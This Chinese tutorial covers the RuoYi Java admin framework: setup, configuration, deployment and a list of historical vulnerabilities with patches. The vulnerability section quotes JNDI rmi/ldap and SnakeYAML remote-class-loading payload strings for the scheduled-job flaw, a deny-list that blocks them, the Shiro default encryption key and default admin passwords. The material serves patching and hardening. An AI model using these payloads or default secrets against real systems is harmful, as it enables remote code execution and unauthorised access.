若依-Ruo Yi(分离版)
一、了解框架
1、简介(什么是若依)
RuoYi 是一款基于SpringBoot + Bootstrap 的快速开发框架。
-
RuoYi 官网地址:http://ruoyi.vip(opens new window)
-
RuoYi 在线文档:http://doc.ruoyi.vip(opens new window)
-
RuoYi 源码下载:https://gitee.com/y_project/RuoYi(opens new window)
RuoYi 是一个 Java EE 企业级快速开发平台,基于经典技术组合(Spring Boot、Apache Shiro、MyBatis、Thymeleaf、Bootstrap),内置模块如:部门管理、角色用户、菜单及按钮授权、数据权限、系统参数、日志管理、通知公告等。在线定时任务配置;支持集群,支持多数据源,支持分布式事务。
2、主要特点
- 完全响应式布局(支持电脑、平板、手机等所有主流设备)
- 强大的一键生成功能(包括控制器、模型、视图、菜单等)
- 支持多数据源,简单配置即可实现切换。
- 支持按钮及数据权限,可自定义部门数据权限。
- 对常用js插件进行二次封装,使js代码变得简洁,更加易维护
- 完善的XSS防范及脚本过滤,彻底杜绝XSS攻击
- Maven多项目依赖,模块及插件分项目,尽量松耦合,方便模块升级、增减模块。
- 国际化支持,服务端及客户端支持
- 完善的日志记录体系简单注解即可实现
- 支持服务监控,数据监控,缓存监控功能。
3、所用技术
3.1、系统环境
- Java EE 8
- Servlet 3.0
- Apache Maven 3
3.2、主框架
- Spring Boot 2.2.x
- Spring Framework 5.2.x
- Apache Shiro 1.7
3.3、持久层
- Apache MyBatis 3.5.x
- Hibernate Validation 6.0.x
- Alibaba Druid 1.2.x
3.4、视图层
- Bootstrap 3.3.7
- Thymeleaf 3.0.x
4、历史漏洞
- 存在系统安全漏洞
RuoYi <= v4.7.1
在<= thymeleaf-spring5:3.0.12
组件中,thymeleaf
结合模板注入中的特定场景可能会导致远程代码执行。详细描述参见 https://github.com/thymeleaf/thymeleaf-spring/issues/256(opens new window)
添加代码到pom.xml
依赖升级处理,防止远程代码执行漏洞。
<thymeleaf.version>3.0.14.RELEASE</thymeleaf.version> <!-- thymeleaf模板引擎和spring框架的整合 --> <dependency> <groupId>org.thymeleaf</groupId> <artifactId>thymeleaf-spring5</artifactId> <version>${thymeleaf.version}</version> </dependency> <dependency> <groupId>org.thymeleaf</groupId> <artifactId>thymeleaf</artifactId> <version>${thymeleaf.version}</version> </dependency>
在<= log4j2:2.17.0
组件中,log4j2
存在远程代码执行和不受控制的递归漏洞。详细描述参见 https://gitee.com/y_project/RuoYi/issues/I4LW93(opens new window)
添加代码到pom.xml
依赖升级处理,防止远程代码执行和不受控制的递归漏洞。
<log4j2.version>2.17.1</log4j2.version> <!-- log4j日志组件 --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>${log4j2.version}</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-to-slf4j</artifactId> <version>${log4j2.version}</version> </dependency>
在用户管理页面,导入用户xlsx
数据内容存在被XSS
注入的风险,需要在提交时进行数据内容校验。完整代码提交。自定义xss校验注解实现,防止用户导入Xss风险漏洞(opens new window)
找到SysUser.java
类,然后实体类新增@Xss
注解进行校验(关键代码)
@Xss(message = "登录账号不能包含脚本字符") public String getLoginName() { return loginName; } @Xss(message = "用户昵称不能包含脚本字符") public String getUserName() { return userName; }
找到SysUserServiceImpl.java
类,然后修改导入用户数据方法,增加实体类校验(关键代码)
@Autowired protected Validator validator; if (StringUtils.isNull(u)) { BeanValidators.validateWithException(validator, user); ...................................................... } else if (isUpdateSupport) { BeanValidators.validateWithException(validator, user); ...................................................... }
在代码生成页面,创建表功能存在SQL
注入漏洞风险(这个功能只有admin用户才能操作),可以在创建表时填入一些SQL注入代码,需要在创建前进行语法校验。完整代码提交。代码生成创建表检查关键字,防止注入风险(opens new window)
找到GenController.java
类,然后修改创建表方法。增加SQL
关键字校验(关键代码)
public AjaxResult create(String sql) { try { SqlUtil.filterKeyword(sql); ........................... return AjaxResult.success(); } catch (Exception e) { logger.error(e.getMessage(), e); return AjaxResult.error("创建表结构异常[" + e.getMessage() + "]"); } }
解决方案:上述漏洞可以升级RuoYi
版本到4.7.2
,或按示例进行操作,防止出现系统安全漏洞。
- 存在远程执行漏洞
RuoYi <= v4.6.2
漏洞详细:
定时任务存在反序列化漏洞利用点,可以通过发送rmi
、http
、ldap
请求,完成命令执行攻击。
如目标字符串具体内容rmi
:org.springframework.jndi.JndiLocatorDelegate.lookup('rmi://127.0.0.1:1099/refObj')
如目标字符串具体内容ldap(s)
:javax.naming.InitialContext.lookup('ldap://127.0.0.1:9999/#Exploit')
如目标字符串具体内容http(s)
:org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1/poc/yaml-payload.jar"]]]]')
新增/修改定时任务SysJobController.java
示例代码(屏蔽rmi
、ldap
、http(s)
目标字符串)
else if (StringUtils.containsIgnoreCase(job.getInvokeTarget(), Constants.LOOKUP_RMI)) { return error("新增任务'" + job.getJobName() + "'失败,目标字符串不允许'rmi'调用"); } else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), new String[] { Constants.LOOKUP_LDAP, Constants.LOOKUP_LDAPS })) { return error("新增任务'" + job.getJobName() + "'失败,目标字符串不允许'ldap(s)'调用"); } else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), new String[] { Constants.HTTP, Constants.HTTPS })) { return error("新增任务'" + job.getJobName() + "'失败,目标字符串不允许'http(s)'调用"); } else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), Constants.JOB_ERROR_STR)) { return error("新增任务'" + job.getJobName() + "'失败,目标字符串存在违规"); } else if (!ScheduleUtils.whiteList(job.getInvokeTarget())) { return error("新增任务'" + job.getJobName() + "'失败,目标字符串不在白名单内"); }
解决方案:升级RuoYi
版本到 > 4.6.2
,或者添加示例代码处理,防止注入漏洞。
- 存在SQL注入漏洞
RuoYi <= v4.6.1
Mybatis
配置中使用了$
所以会存在sql
注入漏洞。
漏洞详细:
1、SysDeptMapper.xml
中的updateParentDeptStatus
节点使用了${ancestors}
,修改相关逻辑。转成数组方式修改部门状态。
/** * 修改该部门的父级部门状态 * * @param dept 当前部门 */ private void updateParentDeptStatusNormal(Dept dept) { String ancestors = dept.getAncestors(); Long[] deptIds = Convert.toLongArray(ancestors); deptMapper.updateDeptStatusNormal(deptIds); }
2、数据权限相关使用了${params.dataScope}
,DataScopeAspect.java
数据过滤处理时添加clearDataScope
拼接权限sql
前先清空params.dataScope
参数防止注入。
public class DataScopeAspect { ...... @Before("dataScopePointCut()") public void doBefore(JoinPoint point) throws Throwable { clearDataScope(point); handleDataScope(point); } private void clearDataScope(final JoinPoint joinPoint) { Object params = joinPoint.getArgs()[0]; if (StringUtils.isNotNull(params) && params instanceof BaseEntity) { BaseEntity baseEntity = (BaseEntity) params; baseEntity.getParams().put(DATA_SCOPE, ""); } } ...... }
解决方案:升级RuoYi
版本到 >=4.6.2
,或者添加示例代码处理,防止注入漏洞。
- 任意文件下载漏洞
RuoYi <= v4.5.0
任意文件下载漏洞,正常的利用手段是下载服务器文件,如脚本代码,服务器配置或者是系统配置等等。可以利用../
来逐层猜测路径。
网站由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意敏感文件,这就是文件查看与下载漏洞。
检测漏洞:CommonController.java
,/common/download/resource
接口是否包含checkAllowDownload
用于检查文件是否可下载,如果没有此方法则需要修改,防止被下载关键信息。
解决方案:升级RuoYi
版本到 >=4.5.1
,或者重新添加文件下载检查,防止任意文件下载。
/** * 本地资源通用下载 */ @GetMapping("/common/download/resource") public void resourceDownload(String resource, HttpServletRequest request, HttpServletResponse response) throws Exception { try { if (!FileUtils.checkAllowDownload(resource)) { throw new Exception(StringUtils.format("资源文件({})非法,不允许下载。 ", resource)); } // 本地资源路径 String localPath = Global.getProfile(); // 数据库资源地址 String downloadPath = localPath + StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX); // 下载名称 String downloadName = StringUtils.substringAfterLast(downloadPath, "/"); response.setContentType(MediaType.APPLICATION_OCTET_STREAM_VALUE); FileUtils.setAttachmentResponseHeader(response, downloadName); FileUtils.writeBytes(downloadPath, response.getOutputStream()); } catch (Exception e) { log.error("下载文件失败", e); } } /** * 检查文件是否可下载 * * @param resource 需要下载的文件 * @return true 正常 false 非法 */ public static boolean checkAllowDownload(String resource) { // 禁止目录上跳级别 if (StringUtils.contains(resource, "..")) { return false; } // 检查允许下载的文件规则 if (ArrayUtils.contains(MimeTypeUtils.DEFAULT_ALLOWED_EXTENSION, FileTypeUtils.getFileType(resource))) { return true; } // 不在允许下载的文件规则 return false; }
- Spring Framework反射型文件下载漏洞
RuoYi < v4.5.0
VMware Tanzu发布安全公告,在Spring Framework版本5.2.0-5.2.8、5.1.0-5.1.17、5.0.0-5.0.18、4.3.0-4.3.28和较旧的不受支持的版本中,公布了一个存在于Spring Framework中的反射型文件下载(Reflected File Download,RFD)漏洞(CVE-2020-5421)。
CVE-2020-5421漏洞可通过jsessionid路径参数,绕过防御RFD攻击的保护。攻击者通过向用户发送带有批处理脚本扩展名的URL,使用户下载并执行文件,从而危害系统。VMware Tanzu官方已发布修复漏洞的新版本。
解决方案:升级spring-boot-starter
版本到 >=2.1.17
。
- Shiro阻止权限绕过漏洞
RuoYi < v4.4.0
Shiro < 1.6.0 版本存在一处权限绕过漏洞,由于 shiro
在处理 url
时与 spring
存在差异,处理身份验证请求时出错导致依然存在身份校验绕过漏洞,远程攻击者可以发送特制的 HTTP 请求,绕过身份验证过程并获得对应用程序的未授权访问。
检测漏洞:pom.xml
Shiro < 1.6.0
则版本存在漏洞。
解决方案:升级版本到 >=1.6.0
。
- 命令执行漏洞
RuoYi <= v4.3.0
若依管理系统使用了Apache Shiro,Shiro 提供了记住我(RememberMe)的功能,下次访问时无需再登录即可访问。系统将密钥硬编码在代码里,且在官方文档中并没有强调修改该密钥,导致框架使用者大多数都使用了默认密钥。攻击者可以构造一个恶意的对象,并且对其序列化、AES加密、base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞,进而在目标机器上执行任意命令。
检测漏洞:ShiroConfig.java
是否包含 fCq+/xW488hMTCD+cmJ3aQ==
,如果是使用的默认密钥则需要修改,防止被执行命令攻击。
解决方案:升级版本到 >=v.4.3.1
,并且重新生成一个新的秘钥替换cipherKey
,保证唯一且不要泄漏。
# Shiro shiro: cookie: # 设置密钥,务必保持唯一性(生成方式,直接拷贝到main运行即可)KeyGenerator keygen = KeyGenerator.getInstance("AES"); SecretKey deskey = keygen.generateKey(); System.out.println(Base64.encodeToString(deskey.getEncoded())); cipherKey: zSyK5Kp6PZAAjlT+eeNMlg==
// 直接拷贝到main运行即可生成一个Base64唯一字符串 KeyGenerator keygen = KeyGenerator.getInstance("AES"); SecretKey deskey = keygen.generateKey(); System.out.println(Base64.encodeToString(deskey.getEncoded()));
- SQL注入攻击
RuoYi <= v3.2.0
若依管理系统使用了PageHelper,PageHelper提供了排序(Order by)的功能,前端直接传参完成排序。系统没有做字符检查,导致存在被注入的风险,最终造成数据库中存储的隐私信息全部泄漏。
检测漏洞:BaseController.java
是否包含 String orderBy = pageDomain.getOrderBy();
,如果没有字符检查需要修改,防止被执行注入攻击。
解决方案:升级版本到 >=v.3.2.0
,或者重新添加字符检查String orderBy = SqlUtil.escapeOrderBySql(pageDomain.getOrderBy());
,防止注入绕过。
package com.ruoyi.common.utils.sql; import com.ruoyi.common.exception.base.BaseException; import com.ruoyi.common.utils.StringUtils; /** * sql操作工具类 * * @author ruoyi */ public class SqlUtil { /** * 仅支持字母、数字、下划线、空格、逗号、小数点(支持多个字段排序) */ public static String SQL_PATTERN = "[a-zA-Z0-9_\\ \\,\\.]+"; /** * 检查字符,防止注入绕过 */ public static String escapeOrderBySql(String value) { if (StringUtils.isNotEmpty(value) && !isValidOrderBySql(value)) { throw new BaseException("参数不符合规范,不能进行查询"); } return value; } /** * 验证 order by 语法是否符合规范 */ public static boolean isValidOrderBySql(String value) { return value.matches(SQL_PATTERN); } }
- Shiro阻止权限绕过漏洞
RuoYi <= v4.3.0
Shiro < 1.5.2 版本存在一处权限绕过漏洞,当受影响版本的Shiro框架结合Spring dynamic controllers使用时,未经授权的远程攻击者可以通过精心构造的请求包进行权限绕过,可能造成鉴权系统失效以及后台功能暴露。
检测漏洞:pom.xml
Shiro <=1.5.2
则版本存在漏洞。
解决方案:升级版本到 >=1.5.3
。
- Fastjson高危漏洞
RuoYi <= v4.2.0
Fastjson < 1.2.68 版本存在一处反序列化漏洞,主要为autoType开关绕过的反序列化漏洞利用,恶意攻击者可以通过该漏洞绕过autoType限制实现远程代码执行攻击,从而获取目标系统管理权限,建议尽快更新漏洞修复版本或采用临时缓解措施加固系统。
检测漏洞:pom.xml
Fastjson <=1.2.68
则版本存在漏洞。
解决方案:升级版本到 >=1.2.70
。
注意
若依平台的默认口令 admin/admin123,请大家在线上环境一定要修改超级管理员的密码。
SysPasswordService.encryptPassword(String username, String password, String salt)
直接到main运行此方法,填充账号密码及盐(保证唯一),生成md5加密字符串。
二、环境部署
1、准备工作
JDK >= 1.8(推荐使用1.8版本) Mysql >= 5.7.0 (建议使用5.7.0) redis >= 3.0(6.0.8) Maven >= 3.0(3.6.3) node.js >=12 idea
小提示:
前端安装 完node后,最好设置一下淘宝的镜像源,不建议使用cnpm进行安装(可能会出现许多奇奇怪怪的问题);
2、后端运行
2.1、先去gitee下载运行代码:https://gitee.com/y_project/RuoYi-Vue
2.2、解压下载的 文件,把文件中文件名为 ruoyi-ui(这个文件是前端文件夹) 的文件单独剪切出来,然后用 idea 打开剩下的文件idea 会自动加载Maven依赖包,
2.3、创建数据库ry
并导入数据脚本ry_2021xxxx.sql
,quartz.sql
(脚本在sql文件夹中)
2.4、修改yml文件 application9-druid.yml 链接数据库库名,用户名和密码;
注:修改的配置文件夹在ruoyi-admin模块中
3、配置文件(这里是我自己的配置文件)
3.1、通用配置 application.yml
# 项目相关配置 ruoyi: # 名称 name: RuoYi # 版本 version: 3.8.1 # 版权年份 copyrightYear: 2022 # 实例演示开关 demoEnabled: true # 文件路径 示例( Windows配置D:/ruoyi/uploadPath,Linux配置 /home/ruoyi/uploadPath) profile: D:/ruoyi/uploadPath # 获取ip地址开关 addressEnabled: false # 验证码类型 math 数组计算 char 字符验证 captchaType: math # 开发环境配置 server: # 服务器的HTTP端口,默认为8080 port: 8080 servlet: # 应用的访问路径 context-path: / tomcat: # tomcat的URI编码 uri-encoding: UTF-8 # 连接数满后的排队数,默认为100 accept-count: 1000 threads: # tomcat最大线程数,默认为200 max: 800 # Tomcat启动初始化的线程数,默认值10 min-spare: 100 # 日志配置 logging: level: com.ruoyi: debug org.springframework: warn # Spring配置 spring: # 资源信息 messages: # 国际化资源文件路径 basename: i18n/messages profiles: active: druid # 文件上传 servlet: multipart: # 单个文件大小 max-file-size: 10MB # 设置总上传的文件大小 max-request-size: 20MB # 服务模块 devtools: restart: # 热部署开关 enabled: true # redis 配置 redis: # 地址 host: localhost # 端口,默认为6379 port: 6379 # 数据库索引 database: 0 # 密码 password: # 连接超时时间 timeout: 10s lettuce: pool: # 连接池中的最小空闲连接 min-idle: 0 # 连接池中的最大空闲连接 max-idle: 8 # 连接池的最大数据库连接数 max-active: 8 # #连接池最大阻塞等待时间(使用负值表示没有限制) max-wait: -1ms # token配置 token: # 令牌自定义标识 header: Authorization # 令牌密钥 secret: abcdefghijklmnopqrstuvwxyz # 令牌有效期(默认30分钟) expireTime: 30 # MyBatis配置 mybatis: # 搜索指定包别名 typeAliasesPackage: com.ruoyi.**.domain # 配置mapper的扫描,找到所有的mapper.xml映射文件 mapperLocations: classpath*:mapper/**/*Mapper.xml # 加载全局的配置文件 configLocation: classpath:mybatis/mybatis-config.xml # PageHelper分页插件 pagehelper: helperDialect: mysql supportMethodsArguments: true params: count=countSql # Swagger配置 swagger: # 是否开启swagger enabled: true # 请求前缀 pathMapping: /dev-api # 防止XSS攻击 xss: # 过滤开关 enabled: true # 排除链接(多个用逗号分隔) excludes: /system/notice # 匹配链接 urlPatterns: /system/*,/monitor/*,/tool/*
3.2、数据源配置 application-druid.yml
# 数据源配置 spring: datasource: type: com.alibaba.druid.pool.DruidDataSource driverClassName: com.mysql.cj.jdbc.Driver druid: # 主库数据源 master: url: jdbc:mysql://localhost:3306/ry?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 username: root password: 123456 # 从库数据源 slave: # 从数据源开关/默认关闭 enabled: false url: username: password: # 初始连接数 initialSize: 5 # 最小连接池数量 minIdle: 10 # 最大连接池数量 maxActive: 20 # 配置获取连接等待超时的时间 maxWait: 60000 # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 timeBetweenEvictionRunsMillis: 60000 # 配置一个连接在池中最小生存的时间,单位是毫秒 minEvictableIdleTimeMillis: 300000 # 配置一个连接在池中最大生存的时间,单位是毫秒 maxEvictableIdleTimeMillis: 900000 # 配置检测连接是否有效 validationQuery: SELECT 1 FROM DUAL testWhileIdle: true testOnBorrow: false testOnReturn: false webStatFilter: enabled: true statViewServlet: enabled: true # 设置白名单,不填则允许所有访问 allow: url-pattern: /druid/* # 控制台管理用户名和密码 login-username: ruoyi login-password: 123456 filter: stat: enabled: true # 慢SQL记录 log-slow-sql: true slow-sql-millis: 1000 merge-sql: true wall: config: multi-statement-allow: true
2.5、启动 redis(redis-server.exe)
2.6、打开项目运行com.ruoyi.RuoYiApplication.java
,出现如下图表示启动成功。
(♥◠‿◠)ノ゙ 若依启动成功 ლ(´ڡ`ლ)゙ .-------. ____ __ | _ _ \ \ \ / / | ( ' ) | \ _. / ' |(_ o _) / _( )_ .' | (_,_).' __ ___(_ o _)' | |\ \ | || |(_,_)' | | \ `' /| `-' / | | \ / \ / ''-' `'-' `-..-'
小提示:
后端运行成功可以通过([http://localhost:8080 (opens new window)](http://localhost:8080/))访问,但是不会出现静态页面,可以继续参考下面步骤部署`ruoyi-ui`前端,然后通过前端地址来访问。
4、前端运行
# 进入项目目录 cd ruoyi-ui # 安装依赖 npm install # 强烈建议不要用直接使用 cnpm 安装,会有各种诡异的 bug,可以通过重新指定 registry 来解决 npm 安装速度慢的问题。 npm install --registry=https://registry.npm.taobao.org # 本地开发 启动项目 npm run dev
4、打开浏览器,输入:(http://localhost:80 (opens new window)) 默认账户/密码 admin/admin123
)
若能正确展示登录页面,并能成功登录,菜单及页面展示正常,则表明环境搭建成功
建议使用Git
克隆,因为克隆的方式可以和RuoYi
随时保持更新同步。使用Git
命令克隆
git clone https://gitee.com/y_project/RuoYi-Vue.git
小提示:
因为本项目是前后端完全分离的,所以需要前后端都单独启动好,才能进行访问。 前端安装完node后,最好设置下淘宝的镜像源,不建议使用cnpm(可能会出现奇怪的问题)
三、部署系统
小提示:
因为本项目是前后端完全分离的,所以需要前后端都单独部署好,才能进行访问。
.1、后端部署
- 打包工程文件
在`ruoyi`项目的`bin`目录下执行`package.bat`打包Web工程,生成war/jar包文件。 然后会在项目下生成`target`文件夹包含`war`或`jar`
小提示:
多模块版本会生成在`ruoyi/ruoyi-admin`模块下`target`文件夹
- 部署工程文件
1、jar部署方式
使用命令行执行:`java –jar ruoyi.jar` 或者执行脚本:`ruoyi/bin/run.bat`
2、war部署方式
`ruoyi/pom.xml`中的`packaging`修改为`war`,放入`tomcat`服务器`webapps`
<packaging>war</packaging>
小提示:
多模块版本在ruoyi/ruoyi-admin
模块下修改pom.xml
SpringBoot
去除内嵌Tomcat
(PS:此步骤不重要,因为不排除也能在容器中部署war
)
<!-- 多模块排除内置tomcat --> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> <exclusions> <exclusion> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-tomcat</artifactId> </exclusion> </exclusions> </dependency> <!-- 单应用排除内置tomcat --> <exclusions> <exclusion> <artifactId>spring-boot-starter-tomcat</artifactId> <groupId>org.springframework.boot</groupId> </exclusion> </exclusions>
.2、前端部署
当项目开发完毕,只需要运行一行命令就可以打包你的应用
# 打包正式环境 npm run build:prod # 打包预发布环境 npm run build:stage
构建打包成功之后,会在根目录生成 dist
文件夹,里面就是构建打包好的文件,通常是 ***.js
、***.css
、index.html
等静态文件。
通常情况下 dist
文件夹的静态文件发布到你的 nginx 或者静态服务器即可,其中的 index.html
是后台服务的入口页面。
outputDir 提示
如果需要自定义构建,比如指定 dist
目录等,则需要通过 config (opens new window)的 outputDir
进行配置。
publicPath 提示
部署时改变页面js 和 css 静态引入路径 ,只需修改 vue.config.js
文件资源路径即可。
publicPath: './' //请根据自己路径来配置更改
export default new Router({ mode: 'hash', // hash模式 })
四、环境变量
所有测试环境或者正式环境变量的配置都在 .env.development (opens new window)等 .env.xxxx
文件中。
它们都会通过 webpack.DefinePlugin
插件注入到全局。
环境变量必须以VUE_APP_
为开头。如:VUE_APP_API
、VUE_APP_TITLE
你在代码中可以通过如下方式获取:
console.log(process.env.VUE_APP_xxxx)
扩展阅读:《Vue CLI - 环境变量和模式》
.1、Tomcat配置
修改server.xml
,Host
节点下添加
<Context docBase="" path="/" reloadable="true" source=""/>
dist
目录的文件夹下新建WEB-INF
文件夹,并在里面添加web.xml
文件
<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" version="3.1" metadata-complete="true"> <display-name>Router for Tomcat</display-name> <error-page> <error-code>404</error-code> <location>/index.html</location> </error-page> </web-app>
.2、Nginx配置
worker_processes 1; events { worker_connections 1024; } http { include mime.types; default_type application/octet-stream; sendfile on; keepalive_timeout 65; server { listen 80; server_name localhost; charset utf-8; location / { root /home/ruoyi/projects/ruoyi-ui; try_files $uri $uri/ /index.html; index index.html index.htm; } location /prod-api/ { proxy_set_header Host $http_host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header REMOTE-HOST $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_pass http://localhost:8080/; } error_page 500 502 503 504 /50x.html; location = /50x.html { root html; } } }
建议开启Gzip压缩
在http
配置中加入如下代码对全局的资源进行压缩,可以减少文件体积和加快网页访问速度。
# 开启gzip压缩 gzip on; # 不压缩临界值,大于1K的才压缩,一般不用改 gzip_min_length 1k; # 压缩缓冲区 gzip_buffers 16 64K; # 压缩版本(默认1.1,前端如果是squid2.5请使用1.0) gzip_http_version 1.1; # 压缩级别,1-10,数字越大压缩的越好,时间也越长 gzip_comp_level 5; # 进行压缩的文件类型 gzip_types text/plain application/x-javascript text/css application/xml application/javascript; # 跟Squid等缓存服务有关,on的话会在Header里增加"Vary: Accept-Encoding" gzip_vary on; # IE6对Gzip不怎么友好,不给它Gzip了 gzip_disable "MSIE [1-6]\.";
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
同时建议开启解压缩静态文件 如何使用Gzip解压缩静态文件
.3、常见问题
- 如果使用
Mac
需要修改application.yml
文件路径profile
- 如果使用
Linux
提示表不存在,设置大小写敏感配置在/etc/my.cnf
添加lower_case_table_names=1
,重启MYSQL服务 - 如果提示当前权限不足,无法写入文件请检查
application.yml
中的profile
路径或logback.xml
中的log.path
路径是否有可读可写操作权限
如遇到无法解决的问题请到Issues (opens new window)反馈,会不定时进行解答。
五、项目介绍
后端结构
com.ruoyi ├── common // 工具类 │ └── annotation // 自定义注解 │ └── config // 全局配置 │ └── constant // 通用常量 │ └── core // 核心控制 │ └── enums // 通用枚举 │ └── exception // 通用异常 │ └── filter // 过滤器处理 │ └── utils // 通用类处理 ├── framework // 框架核心 │ └── aspectj // 注解实现 │ └── config // 系统配置 │ └── datasource // 数据权限 │ └── interceptor // 拦截器 │ └── manager // 异步处理 │ └── security // 权限控制 │ └── web // 前端控制 ├── ruoyi-generator // 代码生成(可移除) ├── ruoyi-quartz // 定时任务(可移除) ├── ruoyi-system // 系统代码 ├── ruoyi-admin // 后台服务 ├── ruoyi-xxxxxx // 其他模块
前端结构
├── build // 构建相关 ├── bin // 执行脚本 ├── public // 公共文件 │ ├── favicon.ico // favicon图标 │ └── index.html // html模板 │ └── robots.txt // 反爬虫 ├── src // 源代码 │ ├── api // 所有请求 │ ├── assets // 主题 字体等静态资源 │ ├── components // 全局公用组件 │ ├── directive // 全局指令 │ ├── layout // 布局 │ ├── router // 路由 │ ├── store // 全局 store管理 │ ├── utils // 全局公用方法 │ ├── views // view │ ├── App.vue // 入口页面 │ ├── main.js // 入口 加载组件 初始化等 │ ├── permission.js // 权限管理 │ └── settings.js // 系统配置 ├── .editorconfig // 编码格式 ├── .env.development // 开发环境配置 ├── .env.production // 生产环境配置 ├── .env.staging // 测试环境配置 ├── .eslintignore // 忽略语法检查 ├── .eslintrc.js // eslint 配置项 ├── .gitignore // git 忽略项 ├── babel.config.js // babel.config.js ├── package.json // package.json └── vue.config.js // vue.config.js
配置文件
通用配置 application.yml
# 项目相关配置 ruoyi: # 名称 name: RuoYi # 版本 version: 3.3.0 # 版权年份 copyrightYear: 2021 # 实例演示开关 demoEnabled: true # 文件路径 示例( Windows配置D:/ruoyi/uploadPath,Linux配置 /home/ruoyi/uploadPath) profile: D:/ruoyi/uploadPath # 获取ip地址开关 addressEnabled: false # 验证码类型 math 数组计算 char 字符验证 captchaType: math # 开发环境配置 server: # 服务器的HTTP端口,默认为8080 port: 8080 servlet: # 应用的访问路径 context-path: / tomcat: # tomcat的URI编码 uri-encoding: UTF-8 # tomcat最大线程数,默认为200 max-threads: 800 # Tomcat启动初始化的线程数,默认值25 min-spare-threads: 30 # 日志配置 logging: level: com.ruoyi: debug org.springframework: warn # Spring配置 spring: # 资源信息 messages: # 国际化资源文件路径 basename: i18n/messages profiles: active: druid # 文件上传 servlet: multipart: # 单个文件大小 max-file-size: 10MB # 设置总上传的文件大小 max-request-size: 20MB # 服务模块 devtools: restart: # 热部署开关 enabled: true # redis 配置 redis: # 地址 host: localhost # 端口,默认为6379 port: 6379 # 数据库索引 database: 0 # 密码 password: # 连接超时时间 timeout: 10s lettuce: pool: # 连接池中的最小空闲连接 min-idle: 0 # 连接池中的最大空闲连接 max-idle: 8 # 连接池的最大数据库连接数 max-active: 8 # #连接池最大阻塞等待时间(使用负值表示没有限制) max-wait: -1ms # token配置 token: # 令牌自定义标识 header: Authorization # 令牌密钥 secret: abcdefghijklmnopqrstuvwxyz # 令牌有效期(默认30分钟) expireTime: 30 # MyBatis配置 mybatis: # 搜索指定包别名 typeAliasesPackage: com.ruoyi.**.domain # 配置mapper的扫描,找到所有的mapper.xml映射文件 mapperLocations: classpath*:mapper/**/*Mapper.xml # 加载全局的配置文件 configLocation: classpath:mybatis/mybatis-config.xml # PageHelper分页插件 pagehelper: helperDialect: mysql reasonable: true supportMethodsArguments: true params: count=countSql # Swagger配置 swagger: # 是否开启swagger enabled: true # 请求前缀 pathMapping: /dev-api # 防止XSS攻击 xss: # 过滤开关 enabled: true # 排除链接(多个用逗号分隔) excludes: /system/notice/* # 匹配链接 urlPatterns: /system/*,/monitor/*,/tool/*
数据源配置 application-druid.yml
# 数据源配置 spring: datasource: type: com.alibaba.druid.pool.DruidDataSource driverClassName: com.mysql.cj.jdbc.Driver druid: # 主库数据源 master: url: jdbc:mysql://localhost:3306/ry-vue?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 username: root password: password # 从库数据源 slave: # 从数据源开关/默认关闭 enabled: false url: username: password: # 初始连接数 initialSize: 5 # 最小连接池数量 minIdle: 10 # 最大连接池数量 maxActive: 20 # 配置获取连接等待超时的时间 maxWait: 60000 # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 timeBetweenEvictionRunsMillis: 60000 # 配置一个连接在池中最小生存的时间,单位是毫秒 minEvictableIdleTimeMillis: 300000 # 配置一个连接在池中最大生存的时间,单位是毫秒 maxEvictableIdleTimeMillis: 900000 # 配置检测连接是否有效 validationQuery: SELECT 1 FROM DUAL testWhileIdle: true testOnBorrow: false testOnReturn: false webStatFilter: enabled: true statViewServlet: enabled: true # 设置白名单,不填则允许所有访问 allow: url-pattern: /druid/* # 控制台管理用户名和密码 login-username: login-password: filter: stat: enabled: true # 慢SQL记录 log-slow-sql: true slow-sql-millis: 1000 merge-sql: true wall: config: multi-statement-allow: true
代码生成配置 generator.yml
# 代码生成 gen: # 作者 author: ruoyi # 默认生成包路径 system 需改成自己的模块名称 如 system monitor tool packageName: com.ruoyi.system # 自动去除表前缀,默认是false autoRemovePre: false # 表前缀(生成类名不会包含表前缀,多个用逗号分隔) tablePrefix: sys_
核心技术
TIP
- 前端技术栈 ES6、vue、vuex、vue-router、vue-cli、axios、element-ui
- 后端技术栈 SpringBoot、MyBatis、Spring Security、Jwt
后端技术
SpringBoot框架
1、介绍
Spring Boot
是一款开箱即用框架,提供各种默认配置来简化项目配置。让我们的Spring
应用变的更轻量化、更快的入门。 在主程序执行main
函数就可以运行。你也可以打包你的应用为jar
并通过使用java -jar
来运行你的Web应用。它遵循"约定优先于配置"的原则, 使用SpringBoot
只需很少的配置,大部分的时候直接使用默认的配置即可。同时可以与Spring Cloud
的微服务无缝结合。
提示
Spring Boot2.x
版本环境要求必须是jdk8
或以上版本,服务器Tomcat8
或以上版本
2、优点
- 使编码变得简单: 推荐使用注解。
- 使配置变得简单: 自动配置、快速集成新技术能力 没有冗余代码生成和XML配置的要求
